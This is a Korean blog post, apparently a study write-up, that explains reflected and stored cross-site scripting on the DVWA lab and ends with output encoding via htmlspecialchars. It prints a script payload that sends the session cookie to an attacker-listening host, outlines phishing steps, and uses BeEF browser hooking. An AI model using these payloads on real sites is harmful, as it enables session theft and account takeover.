ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 모의해킹의 다섯 번째 XSS 공격
    웹 해킹 2021. 3. 15. 14:16

    XXS 공격은 크로스 사이트 스크립팅 공격이라고 하는데, 크로스 사이트 스크립팅 공격은 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격이다.

    크로스 사이트 스크립팅 공격은 서버의 취약점을 이용하여 클라이언트 쪽을 공격한다는 특징이 있다.

    주요 사례중 세션 쿠키를 탈취하는 사례가 있다. 이 역시 클라이언트의 웹 브라우저에 있는 세션 쿠키를 자바스크립트를 이용하여 읽어서 알아내는 것이다.

    자바스크립트를 이용하여 공격을 수행하는 특징 때문에 자바스크립트에 따라 다양한 형태의 공격을 시도할 수 있다. 

     

    크로스 사이트 스크립팅 공격은 공격자가 삽입한 스크립트 코드가 언제 실행되는지에 따라 크게 리플렉티드 와 스토어드 크로스 사이트 스크립팅 공격으로 구분할 수 있다.

     

    리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메세지에 입력된 스크립트 코드가 즉시 응답 메세지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작한다는 뜻이다.

    리플렉티드 크로스 사이트 스크립팅 취약점이 있으면 일반적으로 공격자는 게시판에 글을 남기거나 이메일 피싱을 이용하여 악의적인 스크립트 코드가 담긴 요청을 사용자가 실행하도록 만든다.

     

    공격 순서를 보면

     

    -    공격자가 공격 대상에게 이메일 등을 이용하여 피싱을 한다. 이메일 뿐만 아니라 사이트, 게시판, SNS 등 피싱을 할 수 있다. 피싱을 할 때, 세션 쿠키를 탈취하는 스크립트 코드를 삽입한 HTTP 요청 링크를 포함 시킨다.

     

    -    사용자가 링크를 클릭하면 스크립트 코드가 삽입된 요청이 웹사이트로 전송된다.

     

    -    만약 리플렉티트 크로스 사이트 스크립팅 취약점이 있는 웹사이트는 입려된 스크립트를 반사하여 그대로 웹 페이지에 출력한다.

     

    -    웹 페이지를 읽는 웹 브라우저는 자동으로 스크립트를 실행하게 되고, 그 결과 세션 쿠키를 공격자에게 전달한다.

     

    -    공격자가 이 세션 쿠키를 사용하면 그 사용자의 권한으로 접속할 수 있게 된다.

     

    리플렉티트 크로스 사이트 스크립팅 실습을 해보겠다.

    우선 보안 레벨을 low로 설정을 한다.

    XSS (Reflected) 메뉴에서 Hello 입력한 화면

     

    위 그림을 보면 입력한 Hello가 다시 출력된 것을 볼 수 있다.이 경우를 리플렉티드 크로스 사이트 스크립팅 취약점이 존재할 가능성이 높다.

    스크립트 태그를 입력하여 크로스 사이트 스크립팅 취약점을 간단하게 볼 수 있다.

     

    위 그림의 스크립트 태그 입력 결과 1이 나온다.

     

    위 결과가 나오면 크로스 사이트 스크립팅 취약점이 있다고 볼 수 있다. 그 이유는 스크립트가 웹 브라우저에서 실행되었다는 뜻이고 크로스 사이트 스크립팅 공격이 가능하다는 것을 볼 수 있다.

    이와 같이 입력한 값이 그대로 출력이 되는 것을 리플렉티트 크로스 사이트 스크립팅 공격이라고 한다.

    <script>alert(document.cookie)</script> 실행 화면

     

    위 코드로 인해 쿠키의 값이 출력된다. PHPSESSID는 PHP에서 생성하는 세션 쿠키이다. 크로스 사이트 스크립팅 공격은 주로 세션 쿠키를 알아내는 데 초점을 맞춘다. 이제 세션 쿠키를 공격자의 호스트로 전달해보겠다.

    웹 서버로 들어온 요청 정보가 기록되는 파일

     

    위 그림처럼 로그를 볼 수 있는 모니터링 환경을 만든다. tail 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력해주는 명령어이다.

    다시 DVWA로 온다.

    <script>document.location="http://127.0.0.1/cookie?"+document.cookie</script> 를 실행한다.

     

    이 스크립트는 document.location을 이용하여 지저안 위치로 리다이렉트시키는 스크립트이다. 따라서 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 되는 것이다.

    실행하면, 공격자 호스트 주소로 리다이렉트된 후 에러 웹페이지가 보인다.

     

    실제로는 사용자가 눈치채지 못하도록 웹페이지를 생성하게 될 것이다.

    모니터링 환경에 세션 쿠키가 기록된 화면을 볼 수 있다.

     

    document.cookie에 출력된 쿠키 정보이다. 크로스 사이트 스크립팅을 통해 PHPSESSID 세션 쿠키를 탈취한 것이다.

     

    크로스 사이트 스크립팅 취약점이 존재하면, 공격자는 세션 탈취 이외에도 다양한 공격을 수행할 수 있는데, BeEF라고 하는 브라우저 익스플로잇 프레임워크 프로그램으로, 자체적으로 제공한느 자바스크립트로 된 후깅 코드를 사용자가 실행하면 그 사용자의 호스트를 대상으로 여러가지 공격을 실행할 수 있도록 하는 프로그램이다. 

     

    이번 실습은 리플렉티드 크로스 사이트 스크립팅 취약점으로 후깅 코드를 실행시켜 비프 프로그램으로 추가 공격하겠다.

    BeEF 인터페이스 화면

     

    BeEF를 실행하면 쉘에 script 코드 예가 나오는데 이 코드를

     

    리플렉티드 크로스 사이트 스크립팅에 붙여 넣어서 실행한다.

     

    그리고 BeEF 인터페이스를 보면,

    공격을 당한 호스트의 정보를 확인할 수 있다.

     

    스토어드 크로스 사이트 스크립팅 취약점 공격 실습을 해보겠다. 이 공격은 스크립트가 사용자의 웹 브라우저에서 실행되는 것은 동일하지만 일단 웹 서버에 저장되었다가 실행된다. 웹 서버에 저장되기 때문에 피싱 과정이 필요없고, 해당 페이지를 접속하는 모든 사용자가 공격당할 수 있기 때문에 훨씬 위험하다.

     

    공격 순서를 보면,

    -    공격자는 웹사이트의 방명록 등에 악의적인 스크립트를 삽입한 글을 남긴다.

     

    -    다른 사용자들이 방명록을 방문하여 공격자가 작성한 게시물을 읽는다.

     

    -    이때 게시물에 저장되어 있던 스크립트 코드가 사용자에게로 전달된다.

     

    -    웹 브라우저는 스크립트 코드를 실행하여 세션 쿠키가 공격자에게 전달된다.

     

    -    공격자는 세션 쿠키를 이용하여 해당 사용자 권한으로 웹사이트를 접속한다.

     

    스토어드 크로스 사이트 스크립팅 공격 실습을 해보겠다.

    우선 보안 레벨을 low로 설정한다.

    XSS (Stored) 메뉴에서 쿠키를 출력하는 스크립트 삽입 화면

     

    실행하면, 공격자 호스트 주소로 리다이렉트된 후 에러 웹페이지가 보인다.

     

    쿠키 정보가 담긴 로그 화면

     

    스토어드 크로스 사이트 스크립팅 공격의 경우 방명록에 글이 남겨졌기 때문에 이 다음에 방명록을 보는 모든 사용자가 공격에 당할 수 있다.

     

    크로스 사이트 스크립팅 공격을 대응을 알아 보겠다.

    우선 보안 레벨을 impossible로 설정한다.

    입력한 스크립트가 그대로 출력된다.

     

    소스코드 화면

     

    소스코드에 htmlspecialchars 함수는 &, ", ', <, > 와 같은 특수문자들을 HTML 엔티티로 변환해주는 함수이다. 

    페이지 소스 화면

     

    위 그림과 같이 < 를 &lt로 >를 &gt로 변환해준 것을 볼 수 있다. 이렇게 변환된 문자열은 웹 브라우저가 읽더라고 더 이상 스크립트로 처리하지 않게 된다. 그러나 스크립트로 처리하지 않더라도, 화면에 표시할 때에는 웹 브라우저가 원래의 특수문자로 보여주기 때문에 사용자는 원래 문자열대로 읽을 수 있게 된다.

     

    이렇게 크로스 사이트 스크립팅 공격을 막기 위해서는 사용자 입력 값을 웹 페이지에 출력할 때 지금처럼 특수문자들을 제대로 변환시켜 주어야 한다. 

    또한 입력 값 검증을 통해 파라미터의 입력 값에 불필요한 문자열이 포함되지 않도록 하는 것 역시 공격을 차단할 수 있다.


    위 글은 화이트 해커를 위한 웹 해킹의 기술을 참고했습니다.

    댓글

Designed by Tistory.